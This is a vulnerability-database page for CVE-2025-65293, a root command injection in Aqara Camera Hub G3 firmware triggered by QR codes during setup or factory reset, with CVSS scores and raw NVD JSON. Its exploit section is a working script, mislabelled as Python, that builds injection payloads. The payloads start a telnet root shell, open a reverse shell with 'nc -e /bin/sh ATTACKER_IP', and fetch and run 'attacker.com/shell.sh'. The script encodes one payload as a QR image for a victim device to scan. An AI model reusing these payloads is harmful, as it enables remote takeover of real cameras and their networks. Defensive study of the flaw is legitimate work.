Security Vulnerability Report
中文
CVE-2025-65293 CVSS 6.6 MEDIUM

CVE-2025-65293

Published: 2025-12-10 22:16:27
Last Modified: 2025-12-17 19:52:10

Description

Command injection vulnerabilities in Aqara Camera Hub G3 4.1.9_0027 allow attackers to execute arbitrary commands with root privileges through malicious QR codes during device setup and factory reset.

CVSS Details

CVSS Score
6.6
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:P/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:aqara:camera_hub_g3_firmware:4.1.9_0027:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:aqara:camera_hub_g3:-:*:*:*:*:*:*:* - NOT VULNERABLE
Aqara Camera Hub G3 固件版本 <= 4.1.9_0027

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # CVE-2025-65293 PoC - Malicious QR Code for Aqara Camera Hub G3 # This script generates a malicious QR code that exploits command injection # Usage: Generate QR code and have target device scan it during setup/reset # Method 1: Simple command injection via semicolon separator MALICIOUS_PAYLOAD_1='wifi_ssid="test";telnetd -p 8888 -l /bin/sh' # Method 2: Using backticks for command substitution MALICIOUS_PAYLOAD_2='wifi_ssid="`telnetd -p 8888 -l /bin/sh`"' # Method 3: Reverse shell payload MALICIOUS_PAYLOAD_3='wifi_ssid="test";nc -e /bin/sh ATTACKER_IP 4444' # Method 4: Download and execute malicious script MALICIOUS_PAYLOAD_4='wifi_ssid="test";wget http://attacker.com/shell.sh|sh' # Generate QR code using qrencode tool # Install: apt-get install qrencode qrencode -o malicious_qr.png "$MALICIOUS_PAYLOAD_3" echo "Malicious QR code generated: malicious_qr.png" echo "Have the target device scan this QR during setup or factory reset" # Alternative: Use Python with qrcode library # python3 -c "import qrcode; qrcode.make('$MALICIOUS_PAYLOAD_3').save('malicious_qr.png')"

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65293", "sourceIdentifier": "[email protected]", "published": "2025-12-10T22:16:26.930", "lastModified": "2025-12-17T19:52:09.980", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Command injection vulnerabilities in Aqara Camera Hub G3 4.1.9_0027 allow attackers to execute arbitrary commands with root privileges through malicious QR codes during device setup and factory reset."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:P/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 6.6, "baseSeverity": "MEDIUM", "attackVector": "PHYSICAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.7, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:aqara:camera_hub_g3_firmware:4.1.9_0027:*:*:*:*:*:*:*", "matchCriteriaId": "CF91CB18-CE99-4A86-A94C-7136288E8C33"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:aqara:camera_hub_g3:-:*:*:*:*:*:*:*", "matchCriteriaId": "E823C290-E362-4BE0-9885-9A7B981134BC"}]}]}], "references": [{"url": "https://github.com/Chapoly1305/myCVEReports/blob/main/Aqara/QR-Command-Injection.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}